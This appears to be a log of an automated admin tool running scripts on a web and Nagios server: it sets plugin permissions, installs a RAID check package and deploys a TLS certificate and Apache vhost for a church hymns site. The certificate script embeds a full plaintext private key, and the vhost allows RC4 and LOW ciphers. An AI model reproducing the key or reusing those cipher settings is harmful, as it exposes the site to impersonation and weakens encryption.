MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 19:52:02: Establishing a connection
2026-03-08 19:52:03: Establishing a connection
2026-03-08 19:52:04: 

PUT: /tmp/pkp245808

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 19:52:04: 

chmod 755 /tmp/pkp245808; /tmp/pkp245808; rm /tmp/pkp245808

2026-03-08 19:52:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-08 19:52:04: 

systemctl reload nagios

2026-03-08 19:52:04: 




2026-03-08 19:52:05: 

PUT: /tmp/pkp625854

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-08 19:52:05: 

chmod 755 /tmp/pkp625854; /tmp/pkp625854; rm /tmp/pkp625854

2026-03-08 19:52:05: 


ok


2026-03-08 19:52:06: 

PUT: /tmp/pkp782135

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2026-03-08 19:52:06: 

chmod 755 /tmp/pkp782135; /tmp/pkp782135; rm /tmp/pkp782135

2026-03-08 19:52:06: 


ok


2026-03-08 19:52:07: 

PUT: /tmp/pkp203618

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-03-08 19:52:07: 

chmod 755 /tmp/pkp203618; /tmp/pkp203618; rm /tmp/pkp203618

2026-03-08 19:52:07: 


ok


2026-03-08 19:52:08: 

PUT: /tmp/pkp230460

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2026-03-08 19:52:08: 

chmod 755 /tmp/pkp230460; /tmp/pkp230460; rm /tmp/pkp230460

2026-03-08 19:52:08: 


ok


2026-03-08 19:52:09: 

PUT: /tmp/pkp987442

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-03-08 19:52:09: 

chmod 755 /tmp/pkp987442; /tmp/pkp987442; rm /tmp/pkp987442

2026-03-08 19:52:09: 


ok


2026-03-08 19:52:10: 

PUT: /tmp/pkp948131

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-08 19:52:10: 

chmod 755 /tmp/pkp948131; /tmp/pkp948131; rm /tmp/pkp948131

2026-03-08 19:52:10: 


ok


2026-03-08 19:52:11: 

PUT: /tmp/pkp783226

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2026-03-08 19:52:11: 

chmod 755 /tmp/pkp783226; /tmp/pkp783226; rm /tmp/pkp783226

2026-03-08 19:52:11: 


ok


2026-03-08 19:52:12: 

PUT: /tmp/pkp248781

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-08 19:52:12: 

chmod 755 /tmp/pkp248781; /tmp/pkp248781; rm /tmp/pkp248781

2026-03-08 19:52:13: 


ok


2026-03-08 19:52:13: 

PUT: /tmp/pkp223746

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-03-08 19:52:13: 

chmod 755 /tmp/pkp223746; /tmp/pkp223746; rm /tmp/pkp223746

2026-03-08 19:52:14: 


ok


2026-03-08 19:52:14: 

PUT: /tmp/pkp331548

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-08 19:52:15: 

chmod 755 /tmp/pkp331548; /tmp/pkp331548; rm /tmp/pkp331548

2026-03-08 19:52:15: 


ok


2026-03-08 19:52:15: 

PUT: /tmp/pkp373858

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-03-08 19:52:16: 

chmod 755 /tmp/pkp373858; /tmp/pkp373858; rm /tmp/pkp373858

2026-03-08 19:52:16: 


ok


2026-03-08 19:52:16: 

PUT: /tmp/pkp746618

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-08 19:52:17: 

chmod 755 /tmp/pkp746618; /tmp/pkp746618; rm /tmp/pkp746618

2026-03-08 19:52:17: 


ok


2026-03-08 19:52:18: 

PUT: /tmp/pkp374059

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2026-03-08 19:52:18: 

chmod 755 /tmp/pkp374059; /tmp/pkp374059; rm /tmp/pkp374059

2026-03-08 19:52:18: 


ok


2026-03-08 19:52:19: 

PUT: /tmp/pkp428351

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-03-08 19:52:19: 

chmod 755 /tmp/pkp428351; /tmp/pkp428351; rm /tmp/pkp428351

2026-03-08 19:52:19: 


ok


2026-03-08 19:52:22: 

PUT: /tmp/pkp485170

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2026-03-08 19:52:22: 

chmod 755 /tmp/pkp485170; /tmp/pkp485170; rm /tmp/pkp485170

2026-03-08 19:52:23: 


(Reading database ... 185002 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2026-03-10 06:00:02: Establishing a connection
2026-03-10 06:00:03: Establishing a connection
2026-03-10 06:00:04: 

PUT: /tmp/pkp243216

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-10 06:00:05: 

chmod 755 /tmp/pkp243216; /tmp/pkp243216; rm /tmp/pkp243216

2026-03-10 06:00:05: 


0


2026-03-10 06:00:35: Establishing a connection
2026-03-10 06:00:36: 

PUT: /tmp/pkp910473

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
3f:a4:b0:7f:e8:a0:61:b7:e0:ad:32:19:f9:bd:51:50

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBiL5+5qnfgiqKbv6yXk4z78YMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEwMDUwMjA0WhcNMjYwNjA4MDUwMjAzWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAwPA7b8vR4jtfM4Nqj24/GWePoWVFrP8ddukxWFSLdkVCoIlp
ZQhYBlSxZZ3NL0pRhNQtwmdtapuo8VJ0kRzg7/ZbQrnilMoDNQIF74ml5ZbcEWm5
OCfptrLMjdm6yTdfDJOQNOrng7PODHz36G4WQsXxyKO6DI1/KRygr+nkasQhLxVT
A2l/xYmxe9HPGCE3PGogpjNFbTL8ozeLGE/drcEgm4XWw3X0bJ1MeJekgytE0g/W
yoM4QFsPMsHRTp29C4awtmyqWppB0oRb6qLNt0AwomR6rwQVQPSyM8hkp6/ozuxJ
43/Db9qtLp1bvYEETf6x6rUTSYFX83jEToHkJQIDAQABo4ICHzCCAhswDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLyQn8uNBGPArlyxKGrzrjP5B9ERMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzI1LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnNZVNykA
AAQDAEgwRgIhAPUKwOoIleNkcX4e8mk0b2EyqFat8CxNY21Sgpi8LZpEAiEAwnOz
qXjqnQRi2IhnfnB60zB3JJRwrSUhOz4+gUmuCZkAdQCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZzWVTdoAAAEAwBGMEQCIDOOORYlhX0ZYxCwuMuo
Ct92hqlxyhJRIDjco6aFgMxgAiAAyE7Bky2jBFGFt8i4JTDyoDtKj533DyUUJjkG
nR3kqDANBgkqhkiG9w0BAQsFAAOCAQEApXJBaYzdQlEZ6Cr2SXHI3MVHQqFdaFbE
1UQJx17lzgUpHuhHYcieaUXyT1UDgzUdil/R+/2kMBJy1Ax45oTOLoHnOnfHDI8t
w6MfU619YNeo9JV2tRIqzZpuMuXOcpAS7dadlJceyyz5fEUhRqympETIjmH8FbUq
lMZfIDlnc9HHmzDibijt8YOHKGTj3CO9HAtIoKePM0RJOMUmxx+PWpEzYYCE+abn
T0i3r1HdHPLw4W4FStR0+S/z6EWssMUvcvFRLDswGmsx7PUWbVmlm5F6zx9blr8r
kU0rzchXv71qPLDuFXXOJU69JofOHIJ3J3sW/HdO42y+CafI4l0sXg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDA8Dtvy9HiO18z
g2qPbj8ZZ4+hZUWs/x126TFYVIt2RUKgiWllCFgGVLFlnc0vSlGE1C3CZ21qm6jx
UnSRHODv9ltCueKUygM1AgXviaXlltwRabk4J+m2ssyN2brJN18Mk5A06ueDs84M
fPfobhZCxfHIo7oMjX8pHKCv6eRqxCEvFVMDaX/FibF70c8YITc8aiCmM0VtMvyj
N4sYT92twSCbhdbDdfRsnUx4l6SDK0TSD9bKgzhAWw8ywdFOnb0LhrC2bKpamkHS
hFvqos23QDCiZHqvBBVA9LIzyGSnr+jO7Enjf8Nv2q0unVu9gQRN/rHqtRNJgVfz
eMROgeQlAgMBAAECggEAB/2bFJL+Lw6y72z8q5KPEfQITpClbVgGhh97z/L2cLBH
JWNzhj/td1uoGjOKJTCAhk4MVB4Y+b6XJWF7Gux1g3KyTmXo9K0WK2qZSNWsVYEl
PaJhjaoXg53Nm31eP0moCdsNsKde7cUzXjCJyupOSTct/5eKU81DbDY3kHmRIHvK
9c3K6bBD03vhGlWstJZHQPTBUW/BWd2BPWn+XnuiD7KA6J+gzNIM8/FfmSMiCE0T
FxzAxwzTbrCJt2TRy+VJoH4j5zsGI2UzkAGm9z7rOFg+IOjs7eDrQzaqxAlRtIGj
VHo5k0BUGySVWLerQco7Ha9n2c8paVmg3SncbgENAQKBgQD5Bx9tmDq95JiaTGAu
qRU9ve627XE7naLwg5QkISywHl38phxy9FtJ8Q3JWU8pJ8NLTc5yHz6HJl+G7ykN
c9Z8nhSJ44X7VQm8amjxWXf9uBg4iasCYDEE/VhBzD9Pz/u0r0uncN6iysFeivcX
Kv5x+ojLyEp18/f7pMZrWshzJQKBgQDGVxhfRy8WCH0GeJWIvEtAtHREJFHSMxSr
tzUSXX6pS+W2X7QYnp2feMVjDavUL7QlWz4II5VhtWt4zXAMn5wrlKINClG46Lf5
IzxDye7yrjZIxTmpdy7SGMAp4h2zyIKVrwH9BJgWJ6Or1+BGdmebFPMsEuZumVK7
F5IbF8FdAQKBgQC7yFY3o0IwbU9xksQ4i0G8NBvtDvGC3eS/bsjn0ahMCiofWPc8
6+xmvoIB4fmidBx9DWfugIb7DMGeE3wma8JCaEXekJY4prBXxvnpfOjRht+kypMM
kJKGS7Agta7MNW59mm33DlKj+TaFX07hxobmVeCPojIb7eOCe4cv7t4WjQKBgGLc
Ip/LAWNAE+FX1WD0SaYUzCby232kTFdS2DcxNuL3m6YNid0DoplMP0aiF9WJeYdt
NTwlUF4FaW4rKACCxfrK+QL688Tw6lJaB73aNynrP8+Bzr3zU/kQsSevNxLXjI9D
TgBpe8z/MQuEbJtyhS29gX+kZAsYjS4ID6FFc/IBAoGAPPMi5YpllJZ8922l74MM
LWP9FKhkbYQYnT3i3T8Bwpr682sAYOE84x4p65k0llcI76jYmNAAU8zuHNElOAM5
rh6+B/mQqwiq2aCQ+oGWiDlvHMDSxduW8rRjP1RJYkxnLqR1CjzOurRH35hfERmk
oHVPdIIVk/hAEGuRKMABFK8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-10 06:00:37: 

chmod 755 /tmp/pkp910473; /tmp/pkp910473; rm /tmp/pkp910473

2026-03-10 06:00:37: 


dir=/etc/ssl/certs


2026-03-10 06:00:37: 

PUT: /tmp/pkp558432

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-10 06:00:37: 

chmod 755 /tmp/pkp558432; /tmp/pkp558432; rm /tmp/pkp558432

2026-03-10 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2026-03-10 06:00:37: 

PUT: /tmp/pkp356392

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-available/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/hopeinstoughton_hymns_org.conf= 1'
fi


2026-03-10 06:00:38: 

chmod 755 /tmp/pkp356392; /tmp/pkp356392; rm /tmp/pkp356392

2026-03-10 06:00:38: 




2026-03-10 06:00:38: 

PUT: /tmp/pkp489496

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-10 06:00:39: 

chmod 755 /tmp/pkp489496; /tmp/pkp489496; rm /tmp/pkp489496

2026-03-10 06:00:39: 


.


2026-03-10 06:00:39: Establishing a connection
2026-03-10 06:00:40: 

PUT: /tmp/pkp295334

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-10 06:00:41: 

chmod 755 /tmp/pkp295334; /tmp/pkp295334; rm /tmp/pkp295334

2026-03-10 06:00:41: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-10 06:00:41: 

PUT: /tmp/pkp731662

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
